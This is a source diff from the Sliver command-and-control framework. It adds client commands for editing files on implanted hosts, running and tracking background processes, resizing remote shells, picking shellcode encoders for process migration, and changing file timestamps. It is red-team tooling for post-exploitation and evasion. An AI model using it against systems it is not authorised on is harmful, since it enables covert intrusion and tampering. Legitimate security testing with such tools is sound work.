consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the edit command.
func Commands(con *console.SliverClient) []*cobra.Command {
editCmd := &cobra.Command{
Use: consts.EditStr,
Short: "Edit a remote text file",
Long: help.GetHelpFor([]string{consts.EditStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
EditCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, editCmd, func(f *pflag.FlagSet) {
f.String("syntax", "", "syntax highlighting lexer name (optional)")
f.Bool("syntax-select", false, "prompt to select syntax highlighting lexer")
f.Bool("line-numbers", false, "show line numbers")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(editCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to the remote file to edit"),
)
return []*cobra.Command{editCmd}
}
+380
View File
@@ -0,0 +1,380 @@
package edit
import (
"context"
"errors"
"fmt"
"sort"
"strings"
"time"
"unicode/utf8"
"github.com/alecthomas/chroma/v2"
"github.com/alecthomas/chroma/v2/lexers"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
const beaconPollInterval = 1 * time.Second
// EditCmd downloads a remote text file, opens it in a TUI editor, and optionally uploads changes.
func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := strings.TrimSpace(args[0])
if remotePath == "" {
con.PrintErrorf("Missing parameter: remote path\n")
return
}
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := downloadRemote(ctx, con, cmd, remotePath)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if !download.Exists {
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
return
}
if download.IsDir {
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
return
}
data := download.Data
if download.Encoder == "gzip" {
data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s\n", err)
return
}
}
if !isText(data) {
con.PrintErrorf("Refusing to edit non-text file: %s\n", download.Path)
return
}
path := download.Path
if path == "" {
path = remotePath
}
lineEnding := detectLineEnding(data)
content := normalizeLineEndings(data)
lexer, lexerName, err := resolveSyntax(cmd, path, string(data))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
showLineNumbers, _ := cmd.Flags().GetBool("line-numbers")
for {
result, err := runEditor(content, path, lexer, lexerName, showLineNumbers)
if err != nil {
con.PrintErrorf("Editor error: %s\n", err)
return
}
content = result.Content
if result.Action == actionNone {
return
}
if !result.Modified {
if result.Action == actionSaveQuit {
con.PrintInfof("No changes to upload for %s\n", path)
}
return
}
switch result.Action {
case actionSaveQuit:
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if !uploadNow {
keepEditing, err := confirm("Continue editing?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if keepEditing {
continue
}
return
}
uploadData := applyLineEnding(content, lineEnding)
if err := uploadEditedContent(cmd, con, path, uploadData); err != nil {
con.PrintErrorf("%s\n", err)
}
return
case actionQuit:
if result.Force {
return
}
discard, err := confirm("Discard changes?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if discard {
return
}
}
}
}
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
program := tea.NewProgram(model, tea.WithAltScreen())
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
}
editor, ok := finalModel.(*editorModel)
if !ok {
return editorResult{}, fmt.Errorf("unexpected editor state")
}
return editor.result(), nil
}
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string) (*sliverpb.Download, error) {
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
RestrictedToFile: true,
})
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
taskID := download.Response.TaskID
download = &sliverpb.Download{}
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
return nil, err
}
}
return download, nil
}
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
uploadData, err := new(encoders.Gzip).Encode(data)
if err != nil {
return err
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
Data: uploadData,
Encoder: "gzip",
IsDirectory: false,
Overwrite: true,
})
if err == nil && upload.Response != nil && upload.Response.Async {
taskID := upload.Response.TaskID
upload = &sliverpb.Upload{}
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
}
ctrl <- true
<-ctrl
if err != nil {
return err
}
filesystem.PrintUpload(upload, con)
return nil
}
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
task, err := waitForBeaconTask(ctx, con, taskID)
if err != nil {
return err
}
state := strings.ToLower(task.State)
if state != "completed" {
if state == "" {
state = "unknown"
}
return fmt.Errorf("beacon task %s %s", task.ID, state)
}
if len(task.Response) == 0 {
return fmt.Errorf("beacon task %s returned empty response", task.ID)
}
return proto.Unmarshal(task.Response, out)
}
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
ticker := time.NewTicker(beaconPollInterval)
defer ticker.Stop()
for {
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
if err != nil {
return nil, err
}
state := strings.ToLower(task.State)
if state == "completed" || state == "failed" || state == "canceled" {
return task, nil
}
select {
case <-ctx.Done():
return nil, ctx.Err()
case <-ticker.C:
}
}
}
func resolveSyntax(cmd *cobra.Command, path string, content string) (chroma.Lexer, string, error) {
syntaxName, _ := cmd.Flags().GetString("syntax")
selectSyntax, _ := cmd.Flags().GetBool("syntax-select")
syntaxName = strings.TrimSpace(syntaxName)
if strings.EqualFold(syntaxName, "auto") {
syntaxName = ""
}
if syntaxName != "" {
if strings.EqualFold(syntaxName, "none") {
return nil, "none", nil
}
lexer := lexers.Get(syntaxName)
if lexer == nil {
return nil, "", fmt.Errorf("unknown syntax lexer: %s", syntaxName)
}
name := lexer.Config().Name
if name == "" {
name = syntaxName
}
return lexer, name, nil
}
if selectSyntax {
options := syntaxOptions()
selection := "auto"
if err := forms.Select("Syntax highlighting", options, &selection); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return detectSyntax(path, content)
}
return nil, "", err
}
if strings.EqualFold(selection, "none") {
return nil, "none", nil
}
if strings.EqualFold(selection, "auto") {
return detectSyntax(path, content)
}
lexer := lexers.Get(selection)
if lexer == nil {
return nil, "", fmt.Errorf("unknown syntax lexer: %s", selection)
}
name := lexer.Config().Name
if name == "" {
name = selection
}
return lexer, name, nil
}
return detectSyntax(path, content)
}
func detectSyntax(path string, content string) (chroma.Lexer, string, error) {
lexer := lexers.Match(path)
if lexer == nil {
lexer = lexers.Analyse(content)
}
if lexer == nil {
lexer = lexers.Fallback
}
name := lexer.Config().Name
if name == "" {
name = "auto"
}
return lexer, name, nil
}
func syntaxOptions() []string {
names := lexers.Names(true)
sort.Strings(names)
options := make([]string, 0, len(names)+2)
options = append(options, "auto", "none")
options = append(options, names...)
return options
}
func confirm(title string) (bool, error) {
answer := false
if err := forms.Confirm(title, &answer); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return false, nil
}
return false, err
}
return answer, nil
}
func detectLineEnding(data []byte) string {
if strings.Contains(string(data), "\r\n") {
return "\r\n"
}
return "\n"
}
func normalizeLineEndings(data []byte) string {
content := strings.ReplaceAll(string(data), "\r\n", "\n")
content = strings.ReplaceAll(content, "\r", "\n")
return content
}
func applyLineEnding(content, lineEnding string) []byte {
if lineEnding == "\r\n" {
content = strings.ReplaceAll(content, "\n", "\r\n")
}
return []byte(content)
}
func isText(sample []byte) bool {
const max = 1024
if len(sample) > max {
sample = sample[:max]
}
for i, c := range string(sample) {
if i+utf8.UTFMax > len(sample) {
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
return false
}
}
return true
}
File diff suppressed because it is too large. Load diff
+20 -1
View File
@@ -4,6 +4,7 @@ import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
@@ -26,6 +27,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
f.BoolP("output", "o", true, "capture command output")
f.Bool("background", false, "start the process in the background and track it")
f.BoolP("save", "s", false, "save output to a file")
f.BoolP("loot", "X", false, "save output as loot")
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
@@ -44,6 +46,20 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
executeChildrenCmd := &cobra.Command{
Use: consts.ExecuteChildrenStr,
Short: "List tracked background execute child processes",
Long: help.GetHelpFor([]string{consts.ExecuteStr, consts.ExecuteChildrenStr}),
Args: cobra.NoArgs,
Run: func(cmd *cobra.Command, args []string) {
ExecuteChildrenCmd(cmd, con, args)
},
}
flags.Bind("", false, executeChildrenCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
executeCmd.AddCommand(executeChildrenCmd)
executeAssemblyCmd := &cobra.Command{
Use: consts.ExecuteAssemblyStr,
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
@@ -171,11 +187,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
}
flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.Uint32P("pid", "p", 0, "process id to migrate into")
f.StringP("process-name", "n", "", "name of the process to migrate into")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(migrateCmd, func(comp *carapace.ActionMap) {
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
})
carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
msfCmd := &cobra.Command{
+106
View File
@@ -0,0 +1,106 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"sort"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
// ExecuteChildrenCmd - List tracked background execute child processes on the implant.
func ExecuteChildrenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
ctrl := make(chan bool)
con.SpinUntil("Querying execute children ...", ctrl)
execChildren, err := con.Rpc.ExecuteChildren(context.Background(), &sliverpb.ExecuteChildrenReq{
Request: con.ActiveTarget.Request(cmd),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if execChildren.Response != nil && execChildren.Response.Async {
con.AddBeaconCallback(execChildren.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execChildren)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteChildren(execChildren, con)
})
con.PrintAsyncResponse(execChildren.Response)
return
}
PrintExecuteChildren(execChildren, con)
}
// PrintExecuteChildren - Render execute children output.
func PrintExecuteChildren(execChildren *sliverpb.ExecuteChildren, con *console.SliverClient) {
if execChildren == nil || len(execChildren.Children) == 0 {
con.PrintInfof("No tracked background execute children\n")
return
}
children := append([]*sliverpb.ExecuteChild(nil), execChildren.Children...)
sort.Slice(children, func(i, j int) bool {
return children[i].StartTime < children[j].StartTime
})
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"pid", "state", "exit", "started", "command", "stdout", "stderr"})
for _, child := range children {
state := "running"
exitCode := "-"
if child.Exited {
state = "exited"
exitCode = fmt.Sprintf("%d", child.ExitCode)
}
started := "-"
if child.StartTime != 0 {
started = time.Unix(child.StartTime, 0).Local().Format("2006-01-02 15:04:05")
}
command := strings.TrimSpace(fmt.Sprintf("%s %s", child.Path, strings.Join(child.Args, " ")))
tw.AppendRow(table.Row{child.Pid, state, exitCode, started, command, child.Stdout, child.Stderr})
}
con.Printf("%s\n", tw.Render())
}
+21
View File
@@ -157,10 +157,25 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
var rows uint32
var cols uint32
if !noPty {
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
if err != nil || rowsInt <= 0 || colsInt <= 0 {
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
}
if err == nil && rowsInt > 0 && colsInt > 0 {
rows = uint32(rowsInt)
cols = uint32(colsInt)
}
}
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(cmd),
Path: hostProc,
EnablePTY: !noPty,
Rows: rows,
Cols: cols,
TunnelID: tunnel.ID,
})
if err != nil {
@@ -200,6 +215,12 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
}
}
stopPtyResize := func() {}
if !noPty {
stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
}
defer stopPtyResize()
log.Printf("Starting stdin/stdout shell ...")
go func() {
n, err := io.Copy(os.Stdout, tunnel)
+26 -6
View File
@@ -44,6 +44,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
token, _ := cmd.Flags().GetBool("token")
hidden, _ := cmd.Flags().GetBool("hidden")
output, _ := cmd.Flags().GetBool("output")
background, _ := cmd.Flags().GetBool("background")
stdout, _ := cmd.Flags().GetString("stdout")
stderr, _ := cmd.Flags().GetString("stderr")
saveLoot, _ := cmd.Flags().GetBool("loot")
@@ -58,10 +59,15 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
}
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
captureOutput := output || saveLoot || saveOutput
if background && (saveLoot || saveOutput) {
con.PrintErrorf("The loot and save options are not supported with --background\n")
return
}
if output && beacon != nil {
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
captureOutput := !background && (output || saveLoot || saveOutput)
if captureOutput && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
}
@@ -84,6 +90,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
Path: cmdPath,
Args: args,
Output: captureOutput,
Background: background,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
@@ -96,6 +103,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
Path: cmdPath,
Args: args,
Output: captureOutput,
Background: background,
Stderr: stderr,
Stdout: stdout,
EnvInheritance: envInheritance,
@@ -154,11 +162,23 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
stderr, _ := cmd.Flags().GetString("stderr")
output, _ := cmd.Flags().GetBool("output")
background := false
if cmd.Flags().Lookup("background") != nil {
background, _ = cmd.Flags().GetBool("background")
}
if background {
// Background execution never returns inline output.
output = false
}
if !output {
if exec.Status == 0 {
con.PrintInfof("Command executed successfully\n")
if exec.Pid != 0 {
if background {
con.PrintInfof("Started background process (pid: %d)\n", exec.Pid)
return
}
con.PrintInfof("Started process (pid: %d)\n", exec.Pid)
} else {
con.PrintErrorf("Exit code %d\n", exec.Status)
con.PrintInfof("Process started\n")
}
return
}
+131 -3
View File
@@ -20,14 +20,19 @@ package exec
import (
"context"
"errors"
"fmt"
"sort"
"strings"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// MigrateCmd - Windows only, inject an implant into another process
@@ -55,9 +60,17 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
implantName = beacon.Name
}
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
encoder = clientpb.ShellcodeEncoder_NONE
targetArch := config.GetGOARCH()
if session != nil && session.Arch != "" {
targetArch = session.Arch
} else if beacon != nil && beacon.Arch != "" {
targetArch = beacon.Arch
}
encoder, err := parseShellcodeEncoderFlag(cmd, targetArch, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
ctrl := make(chan bool)
@@ -120,3 +133,118 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
}
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
if con == nil || con.Rpc == nil {
return nil, errors.New("no RPC client")
}
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
if encoderMap == nil {
return nil
}
arch = normalizeShellcodeArch(arch)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return nil
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
return names
}
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
if encoderMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
arch = normalizeShellcodeArch(arch)
name = normalizeShellcodeEncoderName(name)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
encoder, ok := archMap.GetEncoders()[name]
return encoder, ok
}
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
rawEncoder = strings.TrimSpace(rawEncoder)
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
}
normalized := normalizeShellcodeEncoderName(rawEncoder)
if normalized == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
// If no encoder specified, prompt for a compatible encoder (or none).
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
// No known compatible encoders for this arch.
return clientpb.ShellcodeEncoder_NONE, nil
}
options := append([]string{"none"}, compatible...)
choice := "none"
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
if normalizeShellcodeEncoderName(choice) == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
if !ok {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
}
return encoder, nil
}
// Encoder explicitly specified by name.
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
if !ok {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
}
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
}
return encoder, nil
}
+97
View File
@@ -0,0 +1,97 @@
//go:build !windows
package exec
import (
"context"
"os"
"os/signal"
"sync"
"syscall"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
)
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
if con == nil || con.Rpc == nil {
return func() {}
}
stdoutFd := int(os.Stdout.Fd())
stdinFd := int(os.Stdin.Fd())
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
return func() {}
}
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGWINCH)
stopCh := make(chan struct{})
doneCh := make(chan struct{})
go func() {
defer close(doneCh)
lastCols, lastRows := -1, -1
send := func() bool {
cols, rows, err := term.GetSize(stdoutFd)
if err != nil || cols <= 0 || rows <= 0 {
cols, rows, err = term.GetSize(stdinFd)
}
if err != nil || cols <= 0 || rows <= 0 {
return true
}
if cols == lastCols && rows == lastRows {
return true
}
lastCols, lastRows = cols, rows
req := con.ActiveTarget.Request(cmd)
if req == nil {
return false
}
req.Timeout = int64(2 * time.Second)
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
Request: req,
TunnelID: tunnelID,
Rows: uint32(rows),
Cols: uint32(cols),
})
if status.Code(err) == codes.Unimplemented {
return false
}
return true
}
if !send() {
return
}
for {
select {
case <-stopCh:
return
case <-sigCh:
if !send() {
return
}
}
}
}()
var once sync.Once
return func() {
once.Do(func() {
signal.Stop(sigCh)
close(stopCh)
<-doneCh
})
}
}
+93
View File
@@ -0,0 +1,93 @@
//go:build windows
package exec
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
"os"
"sync"
"time"
)
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
if con == nil || con.Rpc == nil {
return func() {}
}
stdoutFd := int(os.Stdout.Fd())
stdinFd := int(os.Stdin.Fd())
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
return func() {}
}
stopCh := make(chan struct{})
doneCh := make(chan struct{})
go func() {
defer close(doneCh)
ticker := time.NewTicker(250 * time.Millisecond)
defer ticker.Stop()
lastCols, lastRows := -1, -1
send := func() bool {
cols, rows, err := term.GetSize(stdoutFd)
if err != nil || cols <= 0 || rows <= 0 {
cols, rows, err = term.GetSize(stdinFd)
}
if err != nil || cols <= 0 || rows <= 0 {
return true
}
if cols == lastCols && rows == lastRows {
return true
}
lastCols, lastRows = cols, rows
req := con.ActiveTarget.Request(cmd)
if req == nil {
return false
}
req.Timeout = int64(2 * time.Second)
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
Request: req,
TunnelID: tunnelID,
Rows: uint32(rows),
Cols: uint32(cols),
})
if status.Code(err) == codes.Unimplemented {
return false
}
return true
}
if !send() {
return
}
for {
select {
case <-stopCh:
return
case <-ticker.C:
if !send() {
return
}
}
}
}()
var once sync.Once
return func() {
once.Do(func() {
close(stopCh)
<-doneCh
})
}
}
+77 -10
View File
@@ -19,6 +19,8 @@ package filesystem
import (
"context"
"fmt"
"strconv"
"time"
"github.com/bishopfox/sliver/client/console"
@@ -28,14 +30,77 @@ import (
"google.golang.org/protobuf/proto"
)
const chtimesDefaultLayout = "2006-01-02 15:04:05"
type chtimesTimeFormat struct {
name string
parse func(string) (int64, error)
}
func chtimesParseUnixSeconds(value string) (int64, error) {
parsed, err := strconv.ParseInt(value, 10, 64)
if err != nil {
return 0, err
}
return parsed, nil
}
func chtimesParseUnixMillis(value string) (int64, error) {
parsed, err := strconv.ParseInt(value, 10, 64)
if err != nil {
return 0, err
}
return time.UnixMilli(parsed).Unix(), nil
}
func chtimesParseLayout(layout string) func(string) (int64, error) {
return func(value string) (int64, error) {
parsed, err := time.Parse(layout, value)
if err != nil {
return 0, err
}
return parsed.Unix(), nil
}
}
func chtimesFormatFromFlags(cmd *cobra.Command) (chtimesTimeFormat, error) {
formatFlags := []struct {
flag string
format chtimesTimeFormat
}{
{flag: "unix", format: chtimesTimeFormat{name: "unix", parse: chtimesParseUnixSeconds}},
{flag: "unix-ms", format: chtimesTimeFormat{name: "unix-ms", parse: chtimesParseUnixMillis}},
{flag: "rfc3339", format: chtimesTimeFormat{name: "rfc3339", parse: chtimesParseLayout(time.RFC3339)}},
{flag: "rfc1123", format: chtimesTimeFormat{name: "rfc1123", parse: chtimesParseLayout(time.RFC1123)}},
}
var selected *chtimesTimeFormat
selectedFlag := ""
for _, candidate := range formatFlags {
enabled, _ := cmd.Flags().GetBool(candidate.flag)
if !enabled {
continue
}
if selected != nil {
return chtimesTimeFormat{}, fmt.Errorf("only one time format flag can be used (--%s and --%s are both set)", selectedFlag, candidate.flag)
}
selected = &candidate.format
selectedFlag = candidate.flag
}
if selected == nil {
return chtimesTimeFormat{name: "datetime", parse: chtimesParseLayout(chtimesDefaultLayout)}, nil
}
return *selected, nil
}
// ChtimesCmd - Change the access and modified time of a file on the remote file system.
func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
// DateTime layout (https://pkg.go.dev/time)
layout := "2006-01-02 15:04:05"
filePath := args[0]
if filePath == "" {
@@ -43,33 +108,35 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
return
}
atime := args[1]
format, err := chtimesFormatFromFlags(cmd)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
atime := args[1]
if atime == "" {
con.PrintErrorf("Missing parameter: Last accessed time id\n")
return
}
t_a, err := time.Parse(layout, atime)
unixAtime, err := format.parse(atime)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Invalid access time (%s): %s\n", format.name, err)
return
}
unixAtime := t_a.Unix()
mtime := args[2]
if mtime == "" {
con.PrintErrorf("Missing parameter: Last modified time id\n")
return
}
t_b, err := time.Parse(layout, mtime)
unixMtime, err := format.parse(mtime)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Invalid modified time (%s): %s\n", format.name, err)
return
}
unixMtime := t_b.Unix()
chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
Request: con.ActiveTarget.Request(cmd),
+45 -3
View File
@@ -3,6 +3,7 @@ package generate
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
@@ -142,12 +143,13 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
f.StringP("save", "s", "", "directory/file to the binary to")
